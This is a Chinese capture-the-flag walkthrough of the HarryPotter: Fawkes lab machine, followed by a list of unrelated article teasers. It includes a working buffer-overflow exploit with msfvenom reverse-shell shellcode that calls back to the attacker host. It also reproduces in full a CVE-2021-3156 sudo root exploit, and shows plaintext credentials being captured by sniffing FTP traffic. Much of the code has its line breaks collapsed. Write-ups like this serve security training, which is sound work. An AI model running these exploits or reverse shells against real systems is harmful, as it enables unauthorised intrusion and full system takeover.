HARRYPOTTER: FAWKES
攻击机
192.168.223.128
目标机192.168.223.143
主机发现
nmap -sP 192.168.223.0/24

端口扫描
nmap -sV -p- -A 192.168.223.143

开启了21 22 80 2222 9898 五个端口,其中21端口可以匿名FTP登录,好像有点说法,百度搜索一下发现可以用anonymous登录,尝试一下
ftp连接方式是ftp IP
ftp 192.168.223.143
用户名anonymous
密码随便输

可以看到有个server_hogwarts文件
get到本地
get server_hogwarts

看一下是什么文件
vim打开文件头有一个ELF,应该是一个可执行文件,用file看一下,果然是。

运行一下试试,发现没有权限,赋个权

没反应,一直在后台运行
用ps看一下后台程序
ps用法
ps aux: 显示当前用户的所有进程信息
ps aux | grep <进程名>: 通过进程名过滤查看特定进程的信息其他查看后台程序还可以用pgrep,top,htop,jobs,pstree
ps aux | grep server_hogwarts

只能看到程序在运行,好像没什么用
ss -pantu | grep server_hogwarts
可以查看当前系统上网络连接的情况
![]()
连接了9898端口,这个端口我们在扫描端口时候发现,是monkeycom服务
既然是本地文件执行,我们本地开个监听端口看看这个服务是什么
nc 127.0.0.1 9898

好像pwn题😓
随便输入了一下好像不太行

感觉像缓冲区溢出漏洞
用edb-debugger动调看看吧
首先关闭kali的ALSR
echo 0 >/proc/sys/kernel/randomize_va_space

edb打开调试界面


连接一下

我不会汇编,看了别人的wp跟着一步步看一步步学
点击这个开始进程

想找到缓冲区溢出漏洞,需要填充大量数据找到溢出位置
先用python生成500个A
python
print('A'*500)
将500个A填入输入位置,发现了报错
提示0×41414141的内存位置出现了错误,说明这里就是溢出报错位置,点击ok具体查看

在x86架构的汇编语言中,EIP(Extended Instruction Pointer)是一个32位寄存器,用于存储下一条即将执行的指令的地址。EIP指向当前正在执行的指令的下一条指令,因此它起到了指令流的控制作用。ESP是存储具体指令的作用,但是这里ESP被A覆盖了。
那么就可以通过修改EIP,使指令跳转到目标ESP
但是现在还没有找到缓存区溢出的位置,现在通过传入不相同的垃圾数据找到溢出位置
使用msf-pattern_create生成500个不同字符串
msf-pattern_create -l 500
将垃圾数据填入重新调试

现在是0×64413764有问题
用msf-pattern_offset找到这个内存位置在输入区的位置
msf-pattern_offset -l 500 -q 64413764

偏移量是112,那么0x64413764就在第113个位置。
现在还需要找到EIP的写入地址,使得ESP只想EIP,这样就能执行到EIP的指令了。
见如下操作

选择ESP-EIP 的跳转,并且有读和执行权限的


这个jmp esp就是跳转地址
0x08049455,机器码是反写的,所以实际地址是0x55 0x9d 0x04 0x08这个就是跟在112条垃圾数据后满的地址,即ESP 的内容,接下里是要执行的指令。
用msfvenom来生成一串python的十六进制payload来反弹shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.223.128 LPORT=4567 -b "\x00" -f python

抄个python脚本
#!/usr/bin/python2
import sys,socket
buf = b""
buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30"
buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d"
buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee"
buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd"
buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd"
buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41"
buf += b"\x93\x1c\xc9\x02"payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf
try:s=socket.socket()s.connect(('192.168.223.143',9898))s.send((payload))s.close()
except:print('wrong')sys.exit()
执行payload,拿到shell


可以看到一个隐藏txt文件
![]()
应该是一个密码HarrYp0tter@Hogwarts123
ssh连接一下Harry看看,发现连不上,想到之前扫描端口的时候还有个2222端口开启了ssh服务
连接一下2222端口,连接成功

ssh harry@192.168.223.143 -p 2222

看到主机名字可以认出这是一个docker服务

sudo -l发现执行权限是所有人
直接sudo -s提升到root权限
sudo -s 是在 Linux 系统中使用 sudo 命令来启动一个新的 shell 进程,并将该 shell 进程的用户权限提升为超级用户(root)
sudo -s

成功拿到第一个flag
看一下note有啥

这句话让我们分析FTP上面的流量
先查一下有什么网卡
ip a

eth0网卡
流量分析
tcpdump -i eth0 port 21

在三次握手包发现账号密码 neville/bL!Bsg3k,用ssh连接一下,这里22端口连接成功
ssh neville@192.168.223.143

拿到第二个flag

接下来最终提权,这里用到一个CVE-2021-3156,是一个基于堆的缓冲区溢出漏洞
因为sudo版本是1.8.27

exp
CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 (github.com)
靶机的sudo目录是/usr/local/bin/sudo 而exp是/usr/bin/sudo所以修改一下exp
![]()
#!/usr/bin/python3
'''
Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya
This exploit requires:
- glibc with tcache
- nscd service is not running
Tested on:
- Ubuntu 18.04
- Ubuntu 20.04
- Debian 10
- CentOS 8
'''
import os
import subprocess
import sys
from ctypes import cdll, c_char_p, POINTER, c_int, c_void_pSUDO_PATH = b"/usr/local/bin/sudo"libc = cdll.LoadLibrary("libc.so.6")# don't use LC_ALL (6). it override other LC_
LC_CATS = [b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY",b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS",b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION"
]def check_is_vuln():# below commands has no log because it is invalid argument for both patched and unpatched version# patched version, error because of '-s' argument# unpatched version, error because of '-A' argument but no SUDO_ASKPASS environmentr, w = os.pipe()pid = os.fork()if not pid:# childos.dup2(w, 2)execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ])exit(0)# parentos.close(w)os.waitpid(pid, 0)r = os.fdopen(r, 'r')err = r.read()r.close()if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err:return Trueassert err.startswith('usage: ') or "invalid mode flags " in err, errreturn Falsedef create_libx(name):so_path = 'libnss_'+name+'.so.2'if os.path.isfile(so_path):return # existedso_dir = 'libnss_' + name.split('/')[0]if not os.path.exists(so_dir):os.makedirs(so_dir)import zlibimport base64libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'with open(so_path, 'wb') as f:f.write(zlib.decompress(base64.b64decode(libx_b64)))#os.chmod(so_path, 0o755)def check_nscd_condition():if not os.path.exists('/var/run/nscd/socket'):return True # no socket. no service# try connectimport socketsk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)try:sk.connect('/var/run/nscd/socket')except:return Trueelse:sk.close()with open('/etc/nscd.conf', 'r') as f:for line in f:line = line.strip()if not line.startswith('enable-cache'):continue # commentservice, enable = line.split()[1:]# in fact, if only passwd is enabled, exploit with this method is still possible (need test)# I think no one enable passwd but disable groupif service == 'passwd' and enable == 'yes':return False# group MUST be disabled to exploit sudo with nss_load_library() trickif service == 'group' and enable == 'yes':return Falsereturn Truedef get_libc_version():output = subprocess.check_output(['ldd', '--version'], universal_newlines=True)for line in output.split('\n'):if line.startswith('ldd '):ver_txt = line.rsplit(' ', 1)[1]return list(map(int, ver_txt.split('.')))return Nonedef check_libc_version():version = get_libc_version()assert version, "Cannot detect libc version"# this exploit only works which glibc tcache (added in 2.26)return version[0] >= 2 and version[1] >= 26def check_libc_tcache():libc.malloc.argtypes = (c_int,)libc.malloc.restype = c_void_plibc.free.argtypes = (c_void_p,)# small bin or tcachesize1, size2 = 0xd0, 0xc0mems = [0]*32# consume all size2 chunksfor i in range(len(mems)):mems[i] = libc.malloc(size2)mem1 = libc.malloc(size1)libc.free(mem1)mem2 = libc.malloc(size2)libc.free(mem2)for addr in mems:libc.free(addr)return mem1 != mem2def get_service_user_idx():'''Parse /etc/nsswitch.conf to find a group entry index'''idx = 0found = Falsewith open('/etc/nsswitch.conf', 'r') as f:for line in f:if line.startswith('#'):continue # commentline = line.strip()if not line:continue # empty linewords = line.split()if words[0] == 'group:':found = Truebreakfor word in words[1:]:if word[0] != '[':idx += 1assert found, '"group" database is not found. might be exploitable but no test'return idxdef get_extra_chunk_count(target_chunk_size):# service_user are allocated by calling getpwuid()# so we don't care allocation of chunk size 0x40 after getpwuid()# there are many string that size can be varied# here is the most commonchunk_cnt = 0# get_user_info() -> get_user_groups() ->gids = os.getgroups()malloc_size = len("groups=") + len(gids) * 11chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 # minimum size is 0x20. don't care hereif chunk_size == target_chunk_size: chunk_cnt += 1# host=<hostname> (unlikely)# get_user_info() -> sudo_gethostname()import socketmalloc_size = len("host=") + len(socket.gethostname()) + 1chunk_size = (malloc_size + 8 + 15) & 0xfffffff0if chunk_size == target_chunk_size: chunk_cnt += 1# simply parse "networks=" from "ip addr" command output# another workaround is bruteforcing with number of 0x70# policy_open() -> format_plugin_settings() -># a value is created from "parse_args() -> get_net_ifs()" with very large buffertry:import ipaddressexcept:return chunk_cntcnt = 0malloc_size = 0proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)for line in proc.stdout:line = line.strip()if not line.startswith('inet'):continueif cnt < 2: # skip first 2 address (lo interface)cnt += 1continue;addr = line.split(' ', 2)[1]mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask)malloc_size += addr.index('/') + 1 + len(mask)cnt += 1malloc_size += len("network_addrs=") + cnt - 3 + 1chunk_size = (malloc_size + 8 + 15) & 0xfffffff0if chunk_size == target_chunk_size: chunk_cnt += 1proc.wait()return chunk_cntdef execve(filename, argv, envp):libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)cargv = (c_char_p * len(argv))(*argv)cenvp = (c_char_p * len(envp))(*envp)libc.execve(filename, cargv, cenvp)def lc_env(cat_id, chunk_len):name = b"C.UTF-8@"name = name.ljust(chunk_len - 0x18, b'Z')return LC_CATS[cat_id]+b"="+nameassert check_is_vuln(), "target is patched"
assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26"
assert check_libc_tcache(), "glibc tcache is not found"
assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method"
service_user_idx = get_service_user_idx()
assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx
create_libx("X/X1234")# Note: actions[5] can be any value. library and known MUST be NULL
FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ]TARGET_OFFSET_START = 0x780
FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30
FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1] # remove last '\\'. stop overwrittenCHUNK_CMND_SIZE = 0xf0# Allow custom extra_chunk_cnt incase unexpected allocation
# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0
extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1])argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ]
env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd)
env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ])# add free chunks that created before target service_user
for i in range(2, service_user_idx+2):# skip LC_ALL (6)env.append(lc_env(i if i < 6 else i+1, 0x40))
if service_user_idx == 0:env.append(lc_env(2, 0x20)) # for filling holefor i in range(11, 11-extra_chunk_cnt, -1):env.append(lc_env(i, CHUNK_CMND_SIZE))env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer
env.append(b"TZ=:") # shortcut tzset function
# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault
env.append(None)execve(SUDO_PATH, argv, env)
用scp传到靶机
scp exp.py neville@192.168.223.143:~


执行拿到root权限,进而拿到第三个flag
chmod +x exp.py
./exp.py

总结:
1.ftp匿名登录拿到ELF文件
2.本地edb动调,缓冲区溢出漏洞,计算偏移量,找ESP跳转地址,msfvenom生成反弹shell字节,编写py脚本拿到shell
3.2222端口连接,sudo -s提升root权限
4.FTP流量分析,拿到账号密码连接ssh
5.sudo CVE-2021-3156提权
相关文章:
HARRYPOTTER: FAWKES
攻击机 192.168.223.128 目标机192.168.223.143 主机发现 nmap -sP 192.168.223.0/24 端口扫描 nmap -sV -p- -A 192.168.223.143 开启了21 22 80 2222 9898 五个端口,其中21端口可以匿名FTP登录,好像有点说法,百度搜索一下发现可以用anonymous登录…...
嵌入式Qt 第一个Qt项目
一.创建Qt项目 打开Qt Creator 界面选择 New Project或者选择菜单栏 【文件】-【新建文件或项目】菜单项 弹出New Project对话框,选择Qt Widgets Application 选择【Choose】按钮,弹出如下对话框 设置项目名称和路径,按照向导进行下一步 选…...
【OpenHarmony硬件操作】风扇与温湿度模块
文章目录 前言一、串行通信是什么二、IC2.1 IC是什么2.2 IC涉及到的线2.3 IC的时序三、风扇的操作3.1 关于 pcf85743.2 风扇的接口函数IO拓展芯片的定义初始化PCF8574初始化 IO拓展版的引脚属性开启和关闭风扇读状态四、温湿度传感器的使用4.1 初始化温湿度传感器</...
Vue3.4+element-plus2.5 + Vite 搭建教程整理
一、 Vue3Vite 项目搭建 说明: Vue3 最新版本已经基于Vite构建,关于Vite简介:Vite 下一代的前端工具链,前端开发与构建工具-CSDN博客 1.安装 并 创建Vue3 应用 npm create vuelatest 创建过程可以一路 NO 目前推荐使用 Vue R…...
STM32Cubmax stm32f103zet6 SPI通讯
一、基本概念 SPI 是英语 Serial Peripheral interface 的缩写,顾名思义就是串行外围设备接口。是 Motorola 首先在其 MC68HCXX 系列处理器上定义的。 SPI 接口主要应用在 EEPROM, FLASH,实时时 钟, AD 转换器,还有数…...
每日OJ题_位运算⑤_力扣371. 两整数之和
目录 力扣371. 两整数之和 解析代码 力扣371. 两整数之和 371. 两整数之和 难度 简单 给你两个整数 a 和 b ,不使用 运算符 和 - ,计算并返回两整数之和。 示例 1: 输入:a 1, b 2 输出:3示例 2: …...
Mysql中索引优化和失效
什么是索引 要了解索引优化和索引失效的场景就要先了解什么是索引 索引是一种有序的存储结构,按照单个或者多个列的值进行排序,以提升搜索效率。 索引的类型 UNIQUE唯一索引 不可以出现相同的值,可以有NULL值。 INDEX普通索引 允许出现相同…...
使用Python+OpenCV2进行图片中的文字分割(支持竖版)
扣字和分割 把图片中的文字,识别出来,并将每个字的图片抠出来; import cv2 import numpy as npHIOG 50 VIOG 3 Position []水平投影 def getHProjection(image):hProjection np.zeros(image.shape,np.uint8)# 获取图像大小(h,w)image.sh…...
Qt中程序发布及常见问题
1、引言 当我们写好一个程序时通常需要发布给用户使用,那么在Qt中程序又是如何实现发布的呢,这里我就来浅谈一下qt中如何发布程序,以及发布程序时的常见问题。 2、发布过程 2.1、切换为release模式 当我们写qt程序时默认是debug模式&#x…...
C语言第二十三弹---指针(七)
✨个人主页: 熬夜学编程的小林 💗系列专栏: 【C语言详解】 【数据结构详解】 指针 1、sizeof和strlen的对比 1.1、sizeof 1.2、strlen 1.3、sizeof 和 strlen的对比 2、数组和指针笔试题解析 2.1、⼀维数组 2.2、二维数组 总结 1、si…...
用HTML5 + JavaScript绘制花、树
用HTML5 JavaScript绘制花、树 <canvas>是一个可以使用脚本 (通常为JavaScript) 来绘制图形的 HTML 元素。 <canvas> 标签/元素只是图形容器,必须使用脚本来绘制图形。 HTML5 canvas 图形标签基础https://blog.csdn.net/cnds123/article/details/112…...
Science重磅_让大模型像婴儿一样学习语言
英文名称: Grounded language acquisition through the eyes and ears of a single child 中文名称: 通过一个孩子的眼睛和耳朵基于实践学习语言 文章: https://www.science.org/doi/10.1126/science.adi1374 代码: https://github.com/wkvong/multimodalbaby 作者: Wai Keen V…...
Java 数据结构篇-实现红黑树的核心方法
🔥博客主页: 【小扳_-CSDN博客】 ❤感谢大家点赞👍收藏⭐评论✍ 文章目录 1.0 红黑树的说明 2.0 红黑树的特性 3.0 红黑树的成员变量及其构造方法 4.0 实现红黑树的核心方法 4.1 红黑树内部类的核心方法 (1)判断当前…...
【实战】一、Jest 前端自动化测试框架基础入门(中) —— 前端要学的测试课 从Jest入门到TDD BDD双实战(二)
文章目录 一、Jest 前端自动化测试框架基础入门5.Jest 中的匹配器toBe 匹配器toEqual匹配器toBeNull匹配器toBeUndefined匹配器和toBeDefined匹配器toBeTruthy匹配器toBeFalsy匹配器数字相关的匹配器字符串相关的匹配器数组相关的匹配器异常情况的匹配器 6.Jest 命令行工具的使…...
【C语言 - 力扣 - 反转链表】
反转链表题目描述 给你单链表的头节点 head ,请你反转链表,并返回反转后的链表。 题解1-迭代 假设链表为 1→2→3→∅,我们想要把它改成 ∅←1←2←3。 在遍历链表时,将当前节点的 next 指针改为指向前一个节点。由于节点没…...
ctfshow-php特性(web102-web115)
目录 web102 web103 web104 web105 web106 web107 web108 web109 web110 web111 web112 web113 web114 web115 实践是检验真理的 要多多尝试 web102 <?php highlight_file(__FILE__); $v1$_POST[V1]; $v2$_GET[v2]; $v3$_GET[v3]; $v4is_numeric($v2)and is…...
python系统学习Day1
section1 python introduction 文中tips只做拓展,可跳过。 PartOne introduction 首先要对于python这门语言有一个宏观的认识,包括特点和应用场景。 特点分析: 优势 提供了完善的基础代码库,许多功能不必从零编写简单优雅 劣势 运…...
Idea里自定义封装数据警告解决 Spring Boot Configuration Annotation Processor not configured
我们自定对象封装指定数据,封装类上面一个红色警告,虽然不影响我们的执行,但是有强迫症看着不舒服, 去除方式: 在pom文件加上坐标刷新 <dependency><groupId>org.springframework.boot</groupId><…...
【流程图——讲解】
流程图介绍 流程图介绍 流程图介绍 流程图是一种图表,它展示了工作流程或过程中的步骤顺序,它通常由不同的符号表示,每个符号都代表一个步骤或过程中的一个元素,流程图非常有用,因为它们可以提供清晰、视觉化的过程表…...
「计算机网络」物理层
物理层的基本概念 物理层的作用:尽可能屏蔽掉不同传输媒体和通信手段的差异物理层规程:用于物理层的协议主要任务:确定与传输媒体的接口有关的一些特性 机械特性电器特性功能特性过程特性 数据通信的基础知识 数据通信系统的模型 划分为…...
地震勘探——干扰波识别、井中地震时距曲线特点
目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波:可以用来解决所提出的地质任务的波;干扰波:所有妨碍辨认、追踪有效波的其他波。 地震勘探中,有效波和干扰波是相对的。例如,在反射波…...
微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】
微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来,Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...
练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
前端倒计时误差!
提示:记录工作中遇到的需求及解决办法 文章目录 前言一、误差从何而来?二、五大解决方案1. 动态校准法(基础版)2. Web Worker 计时3. 服务器时间同步4. Performance API 高精度计时5. 页面可见性API优化三、生产环境最佳实践四、终极解决方案架构前言 前几天听说公司某个项…...
用docker来安装部署freeswitch记录
今天刚才测试一个callcenter的项目,所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...
在WSL2的Ubuntu镜像中安装Docker
Docker官网链接: https://docs.docker.com/engine/install/ubuntu/ 1、运行以下命令卸载所有冲突的软件包: for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...
Java面试专项一-准备篇
一、企业简历筛选规则 一般企业的简历筛选流程:首先由HR先筛选一部分简历后,在将简历给到对应的项目负责人后再进行下一步的操作。 HR如何筛选简历 例如:Boss直聘(招聘方平台) 直接按照条件进行筛选 例如:…...
鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南
1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发,使用DevEco Studio作为开发工具,采用Java语言实现,包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...
在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?
uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件,用于在原生应用中加载 HTML 页面: 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...
JavaScript基础-API 和 Web API
在学习JavaScript的过程中,理解API(应用程序接口)和Web API的概念及其应用是非常重要的。这些工具极大地扩展了JavaScript的功能,使得开发者能够创建出功能丰富、交互性强的Web应用程序。本文将深入探讨JavaScript中的API与Web AP…...
